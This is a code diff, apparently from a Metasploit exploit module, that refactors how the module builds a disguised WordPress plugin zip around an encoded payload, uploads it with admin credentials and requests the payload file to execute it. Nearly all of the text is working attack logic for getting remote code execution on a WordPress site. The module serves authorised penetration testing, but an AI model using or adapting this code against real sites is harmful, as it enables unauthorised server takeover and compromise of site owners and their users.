@@ -48,16 +48,11 @@ def password
48
48
datastore [ 'PASSWORD' ]
49
49
end
50
50
51
- def referer_uri
52
- normalize_uri ( wordpress_url_backend , 'plugin-install.php?tab=upload' )
53
- end
54
-
55
51
def generate_plugin ( plugin_name , payload_name )
56
- r = Random . new
57
52
plugin_script = %Q{<?php
58
53
/**
59
54
* Plugin Name: #{ plugin_name }
60
- * Version: #{ r . rand ( 1 .. 20 ) } .#{ r . rand ( 0 .. 20 ) } .#{ r . rand ( 0 .. 20 ) }
55
+ * Version: #{ Rex :: Text . rand_text_numeric ( 1 ) } .#{ Rex :: Text . rand_text_numeric ( 1 ) } .#{ Rex :: Text . rand_text_numeric ( 2 ) }
61
56
* Author: #{ Rex ::Text . rand_text_alpha ( 10 ) }
62
57
* Author URI: http://#{ Rex ::Text . rand_text_alpha ( 10 ) } .com
63
58
* License: GPL2
@@ -66,7 +61,7 @@ def generate_plugin(plugin_name, payload_name)
66
61
67
62
zip = Rex ::Zip ::Archive . new ( Rex ::Zip ::CM_STORE )
68
63
zip . add_file ( "#{ plugin_name } /#{ plugin_name } .php" , plugin_script )
69
- zip . add_file ( "#{ plugin_name } /#{ payload_name } " , payload . encoded )
64
+ zip . add_file ( "#{ plugin_name } /#{ payload_name } .php " , payload . encoded )
70
65
zip
71
66
end
72
67
@@ -80,16 +75,16 @@ def exploit
80
75
81
76
print_status ( "#{ peer } - Preparing payload..." )
82
77
plugin_name = Rex ::Text . rand_text_alpha ( 10 )
83
- payload_name = "#{ Rex ::Text . rand_text_alpha ( 10 ) } .php "
84
- payload_uri = normalize_uri ( wordpress_url_plugins , plugin_name , payload_name )
78
+ payload_name = "#{ Rex ::Text . rand_text_alpha ( 10 ) } "
79
+ payload_uri = normalize_uri ( wordpress_url_plugins , plugin_name , " #{ payload_name } .php" )
85
80
zip = generate_plugin ( plugin_name , payload_name )
86
81
87
82
print_status ( "#{ peer } - Uploading payload..." )
88
83
uploaded = wordpress_upload_plugin ( plugin_name , zip . pack , cookie )
89
84
fail_with ( Failure ::UnexpectedReply , 'Failed to upload the payload' ) unless uploaded
90
85
91
86
print_status ( "#{ peer } - Executing the payload at #{ payload_uri } ..." )
92
- register_files_for_cleanup ( payload_name )
87
+ register_files_for_cleanup ( " #{ payload_name } .php" )
93
88
register_files_for_cleanup ( "#{ plugin_name } .php" )
94
89
send_request_cgi ( { 'uri' => payload_uri , 'method' => 'GET' } , 5 )
95
90
end
0 commit comments